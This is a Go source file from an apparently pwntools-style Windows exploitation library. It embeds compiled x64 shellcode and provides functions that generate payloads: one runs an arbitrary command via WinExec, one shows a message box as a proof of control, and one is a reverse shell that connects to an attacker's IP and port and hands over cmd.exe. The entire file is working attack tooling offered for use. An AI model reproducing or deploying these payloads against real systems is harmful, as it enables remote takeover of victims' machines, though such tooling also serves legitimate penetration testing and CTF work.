package winpwn import ( _ "embed" "fmt" "net" ) // winexecX64Template is a prebuilt position-independent x64 shellcode blob // (see shellcode/asm/winexec_x64.asm — kept as auditable NASM source // alongside the compiled bytes, the same spirit as pwntools shipping // shellcraft templates, just compiled ahead-of-time with NASM instead of // assembled on demand with Keystone). It resolves kernel32's base via the // PEB and calls WinExec by name, so it needs no leaked address and no // hardcoded kernel32 base — just landing IP control (a ROP chain, an // overwritten function pointer, a vtable hijack, ...). // //go:embed shellcode/bin/winexec_x64.bin var winexecX64Template []byte const winexecCmdBufSize = 260 // ShellcodeWinExec returns x64 shellcode equivalent to WinExec(command, // SW_SHOW): no hardcoded addresses, resolves kernel32 itself, returns // normally afterward so the host thread (and process) keeps running. The // winpwn analogue of pwntools' shellcraft.sh()/asm(shellcraft.execve(...)). func ShellcodeWinExec(command string) ([]byte, error) { cmd := append([]byte(command), 0) if len(cmd) > winexecCmdBufSize { return nil, fmt.Errorf("command too long: %d bytes (max %d including the NUL terminator)", len(cmd), winexecCmdBufSize) } code := make([]byte, len(winexecX64Template)) copy(code, winexecX64Template) off := len(code) - winexecCmdBufSize copy(code[off:], cmd) return code, nil } // messageboxX64Template ([shellcode/asm/messagebox_x64.asm]) resolves // kernel32 via the PEB, then LoadLibraryA's user32.dll through // resolve_export (not guaranteed loaded in a plain console process, unlike // kernel32) to find MessageBoxA — same "no leaked address, no hardcoded // base" property as ShellcodeWinExec, just for a GUI primitive instead of // a process-launch one. // //go:embed shellcode/bin/messagebox_x64.bin var messageboxX64Template []byte const ( messageboxTextBufSize = 256 messageboxCaptionBufSize = 64 ) // ShellcodeMessageBoxA returns x64 shellcode equivalent to // MessageBoxA(NULL, text, caption, MB_OK). Returns normally once the user // (or whoever/whatever sends it a WM_CLOSE) dismisses the box, so the host // thread keeps running afterward — useful both as a real GUI-process // landing primitive and as a simple, visually-obvious "did my exploit // actually land IP control" proof. func ShellcodeMessageBoxA(text, caption string) ([]byte, error) { textBytes := append([]byte(text), 0) captionBytes := append([]byte(caption), 0) if len(textBytes) > messageboxTextBufSize { return nil, fmt.Errorf("text too long: %d bytes (max %d including the NUL terminator)", len(textBytes), messageboxTextBufSize) } if len(captionBytes) > messageboxCaptionBufSize { return nil, fmt.Errorf("caption too long: %d bytes (max %d including the NUL terminator)", len(captionBytes), messageboxCaptionBufSize) } code := make([]byte, len(messageboxX64Template)) copy(code, messageboxX64Template) // caption_buf is the very last thing in the assembled blob, text_buf // right before it -- mirrors shellcode/asm/messagebox_x64.asm's layout. captionOff := len(code) - messageboxCaptionBufSize textOff := captionOff - messageboxTextBufSize copy(code[textOff:], textBytes) copy(code[captionOff:], captionBytes) return code, nil } // reverseShellX64Template ([shellcode/asm/reverse_shell_x64.asm]) connects // back to a fixed host:port over ws2_32 and spawns cmd.exe with its stdio // redirected to the socket — the classic Windows reverse shell. Built on // the same resolve_export primitive as ShellcodeMessageBoxA (ws2_32.dll // isn't guaranteed loaded any more than user32.dll is). // //go:embed shellcode/bin/reverse_shell_x64.bin var reverseShellX64Template []byte const sockaddrBufSize = 16 // ShellcodeReverseShell returns x64 shellcode that connects to host:port // and execs cmd.exe with its stdin/stdout/stderr redirected to that // connection. host must be a literal IPv4 address (this is raw shellcode, // it can't do DNS resolution) — pass the attacker box's IP, not a hostname. func ShellcodeReverseShell(host string, port uint16) ([]byte, error) { ip := net.ParseIP(host) if ip == nil { return nil, fmt.Errorf("invalid host %q: not an IP literal (shellcode can't resolve DNS)", host) } ip4 := ip.To4() if ip4 == nil { return nil, fmt.Errorf("host %q is not an IPv4 address", host) } code := make([]byte, len(reverseShellX64Template)) copy(code, reverseShellX64Template) // sockaddr_buf is the last thing in the assembled blob: sin_family(2) // sin_port(2) sin_addr(4) sin_zero(8) = 16 bytes total. sockaddrOff := len(code) - sockaddrBufSize code[sockaddrOff+2] = byte(port >> 8) // sin_port, network byte order code[sockaddrOff+3] = byte(port) copy(code[sockaddrOff+4:sockaddrOff+8], ip4) // sin_addr, already network-order bytes return code, nil }